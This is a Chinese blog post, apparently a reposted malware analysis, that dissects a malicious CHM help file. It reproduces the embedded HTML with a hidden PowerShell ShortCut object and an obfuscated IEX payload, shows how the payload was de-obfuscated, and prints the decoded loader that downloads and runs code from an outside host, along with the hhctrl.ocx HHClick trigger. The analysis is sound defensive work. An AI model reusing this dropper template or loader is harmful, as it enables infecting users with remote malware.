对chm木马的分析

       这算是一篇对chm马的分析复盘,很久没搞有点遗忘了,正好借这个机会温故下。从中我们可以学习到对chm文件的解析,对ps代码的调试方法,以及对powershell脚本的解读,份量十足。


一、对chm文件的解析

CHM文件格式是微软推出的基于HTML文件特性的帮助文件系统,也称作“已编译的HTML帮助文件”。CHM能够支持脚本、Flash、图片、音频、视频等内容,并且同样支持超链接目录、索引以及全文检索功能,常用来制作说明文档、电子书等以方便查阅,在绝大多数人的印象中,CHM类型文件是“无公害”文档文件。

对chm文件的解码,有几种方法:如chm2html,可将chm文件转换为html文件;又如可以用7z来解压缩;又如我们今天所用的方法:

hh -decompile . .doc04361120200924113713.chm

解出了一个文件evil.htm,下图

对chm木马的分析


二、对evil.htm的解读

打开evil.htm文件,整个代码如下:

<html>

<title> Help Center </title>

<head>

</head>

<body>


<h2 align=center> Help Center </h2>

<p>

<h3 align=center> Please wait….. </h3>

</p>

</body>

</html>

<OBJECT id=shortcut classid=”clsid:52a2aaae-085d-4187-97ea-8c30db990436″ width=1 height=1>

<PARAM name=”Command” value=”ShortCut”>

<PARAM name=”Item1″ value=”,Powershell, -WindowStyle Hidden $yZiVW=’D4^C7^72^72^02^E6^96^F6^A6^D2^02^37^27^16^86^34^96^96^36^37^16^42^02^D3^76^E6^96^27^47^35^96^96^36^37^16^42^B3^D7^22^F5^42^87^03^22^D5^56^47^97^26^B5^D5^27^16^86^36^B5^B7^02^47^36^56^A6^26^F4^D2^86^36^16^54^27^F6^64^C7^02^72^D2^72^02^47^96^C6^07^37^D2^02^67^D6^42^02^D3^37^27^16^86^34^96^96^36^37^16^42^B3^92^72^76^07^A6^E2^73^25^F2^D6^F6^36^E2^23^37^F6^E6^96^47^37^56^46^F6^D6^F2^F2^A3^07^47^47^86^72^C2^46^F6^86^47^56^D4^A3^A3^D5^56^07^97^45^C6^C6^16^34^E2^36^96^37^16^24^C6^16^57^37^96^65^E2^47^66^F6^37^F6^27^36^96^D4^B5^C2^72^76^E6^96^27^47^35^46^16^F6^C6^E6^77^F6^44^72^C2^97^47^47^42^82^56^D6^16^E6^97^24^C6^C6^16^34^A3^A3^D5^E6^F6^96^47^36^16^27^56^47^E6^94^E2^36^96^37^16^24^C6^16^57^37^96^65^E2^47^66^F6^37^F6^27^36^96^D4^B5^02^D3^67^D6^42^B3^92^72^36^96^37^16^24^C6^16^57^37^96^65^E2^47^66^F6^37^F6^27^36^96^D4^72^82^56^D6^16^E4^C6^16^96^47^27^16^05^86^47^96^75^46^16^F6^C4^A3^A3^D5^97^C6^26^D6^56^37^37^14^E2^E6^F6^96^47^36^56^C6^66^56^25^E2^D6^56^47^37^97^35^B5^02^D5^46^96^F6^67^B5^B3^D4^C7^72^92^47^E6^56^72^B2^72^96^C6^34^26^72^B2^72^56^75^E2^47^72^B2^72^56^E4^02^47^36^72^B2^72^56^A6^26^F4^72^B2^72^D2^77^56^E4^82^72^D3^97^47^47^42^B3^23^23^07^42^02^D3^02^C6^F6^36^F6^47^F6^27^05^97^47^96^27^57^36^56^35^A3^A3^D5^27^56^76^16^E6^16^D4^47^E6^96^F6^05^56^36^96^67^27^56^35^E2^47^56^E4^E2^D6^56^47^37^97^35^B5^B3^92^23^73^03^33^02^C2^D5^56^07^97^45^C6^F6^36^F6^47^F6^27^05^97^47^96^27^57^36^56^35^E2^47^56^E4^E2^D6^56^47^37^97^35^B5^82^47^36^56^A6^26^F4^F6^45^A3^A3^D5^D6^57^E6^54^B5^02^D3^02^23^23^07^42^B3^92^76^E6^96^07^42^82^02^C6^96^47^E6^57^02^D7^47^56^96^57^15^D2^02^13^02^47^E6^57^F6^36^D2^02^D6^F6^36^E2^56^C6^76^F6^F6^76^02^07^D6^F6^36^D2^02^E6^F6^96^47^36^56^E6^E6^F6^36^D2^47^37^56^47^02^D3^02^76^E6^96^07^42^B7^02^F6^46^B3^56^E6^F6^26^45^42^02^D4^02^C6^16^37^B3^92^72^94^72^C2^72^E3^72^82^56^36^16^C6^07^56^27^E2^72^85^54^E3^72^D3^56^E6^F6^26^45^42′;$text =$yZiVW.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split(‘^’) | forEach {[char]([convert]::toint16($_,16))};$jm -join ”|I`E`X“>


</OBJECT>

<SCRIPT>

shortcut.Click();

</SCRIPT>

看上面的那个标红的代码,里面用到了powershell脚本,做了一些混淆,我们现在要将它们还原出来。

$yZiVW=’D4^C7^72……^26^45^42′;这是段字符串,解码的过程在字符串的后面语句里,整理后如下:

$text =$yZiVW.ToCharArray();

[Array]::Reverse($text);

$tu=-join $text;

$jm=$tu.Split(‘^’) | forEach {[char]([convert]::toint16($_,16))};

$jm -join ”|I`E`X

我们来解读下上面的每句是什么意思?直接上AI:

1、$text =$yZiVW.ToCharArray();

对chm木马的分析

2、[Array]::Reverse($text);

对chm木马的分析

原来是用于数组的反转;

3、$tu=-join $text;

对chm木马的分析

太贴心了的AI。

4、$jm=$tu.Split(‘^’) | forEach {[char]([convert]::toint16($_,16))};

对chm木马的分析

5、$jm -join ”|I`E`X

这个同上面,是拼接作用。


总结:在AI的大力帮助下,我们不费吹灰之力,了解了这个脚本的解混淆方法:

$yZiVW变成数据,再反转,再拼接,再以^拆分字符串,再转换为字符,最后将拼接。


三、对ps代码的调试

那上面的这段脚本怎么转换为我们可读的代码呢?写段程序,No,写段程序解决当然好,但,不用那么麻烦,这里主要是教大家碰到这种情况怎么调试ps代码。两种方法:

第一种:将$jm -join ”|I`E`X变成$jm -join ”|echo执行后就可以显示出来了。

第二种:用vs来调试。

1、将以上的代码放入到文件中,命名为evil.ps1这个powershell脚本文件;

2、打开VsCode载入evil.ps1,提示要安装powershell这个插件,安装…

对chm木马的分析

3、利用F10或F11开始单步调试,最后得到:

对chm木马的分析

$Tbone=’>EX’.replace(‘>’,’I’);

sal M $Tbone;

do 

{$ping = test-connection -comp google.com -count 1 -Quiet} 

until ($ping);

$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);

[System.Net.ServicePointManager]::SecurityProtocol = $p22;

$tty='(New-‘+’Obje’+’ct Ne’+’t.We’+’bCli’+’ent)’|M;[void] [System.Reflection.Assembly]::LoadWithPartialName(‘Microsoft.VisualBasic’);

$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,’DownloadString’,[Microsoft.VisualBasic.CallType]::Method,’http://modestinos2.com/R7.jpg’);

$asciiChars= $mv -split ‘-‘ |ForEach-Object {[char][byte]”0x$_”};

$asciiString= $asciiChars -join ”|M

这就是解出来了。


四、对代码的解读

4、解读代码,这把不用AI了,我们用自身的能力来搞定:

1)$Tbone=’>EX’.replace(‘>’,’I’);

这段代码首先是通过$Tbone=’EX’.replace(‘‘,’I’)声明了一个名为$Tbone的变量,这个变量实际就是IEX。

2)sal M $Tbone;
接着通过sal M $Tbone给变量定义了别名M,可以看到M在程序最后有使用,这也算是一种免杀操作吧。

3)do 

{$ping = test-connection -comp google.com -count 1 -Quiet} 

until ($ping);

尝试connection连接google.com保证网络畅通。

4)

$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);

[System.Net.ServicePointManager]::SecurityProtocol = $p22;

在 PowerShell 中设置 .NET Framework 的 SecurityProtocolType 枚举值,用于控制网络连接的安全协议类型。这段代码将 SecurityProtocolType 设置为 3072,这个值代表使用 TLS 1.2。

5)

$tty='(New-‘+’Obje’+’ct Ne’+’t.We’+’bCli’+’ent)’|M;[void] [System.Reflection.Assembly]::LoadWithPartialName(‘Microsoft.VisualBasic’);

$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,’DownloadString’,[Microsoft.VisualBasic.CallType]::Method,’http://modestinos2.com/R7.jpg’);

通过IEX执行一个下载指令,将下载回来的内容存储到变量$mv中,这里的下载链接为:http://modestinos2.com/R7.jpg,(此jpg木马下载已经失效)。

6)

$asciiChars= $mv -split ‘-‘ |ForEach-Object {[char][byte]”0x$_”};

$asciiString= $asciiChars -join ”|M

最后,程序将下载回来的数据$mv 以 – 分割,然后作为byte数组加载执行。


五、其它介绍

上面对chm的重要部分都分析完了,还有个东西,给大家也一并介绍下,

在htm中有个:

<OBJECT id=shortcut classid=”clsid:52a2aaae-085d-4187-97ea-8c30db990436″ width=1 height=1>

<PARAM name=”Command” value=”ShortCut”>

……

</OBJECT>

<SCRIPT>

shortcut.Click();

</SCRIPT>

这个是它的触发部分。这里是Click方法。


下面的才是重点:在chm木马中,会这样用:

<OBJECT id=shortcut type=”application/x-oleobject” classid=”clsid:52a2aaae-085d-4187-97ea-8c30db990436″ codebase=”hhctrl.ocx#Version=5,02,3790,1194″ width=1 height=1>

codebase=”hhctrl.ocx,这个是干什么用的呢?

在这段代码中,调用了hhctrl.ocx COM组件,该组件的方法可以执行命令:

对chm木马的分析

<SCRIPT>

shortcut.HHClick();

</SCRIPT>

这样也是可以触发的。


好了,到这里了,非常详细地分析,懂了吧!有些累了,晚安!

原文始发于微信公众号(MicroPest):对chm木马的分析

版权声明:admin 发表于 2023年9月21日 下午10:59。
转载请注明:对chm木马的分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...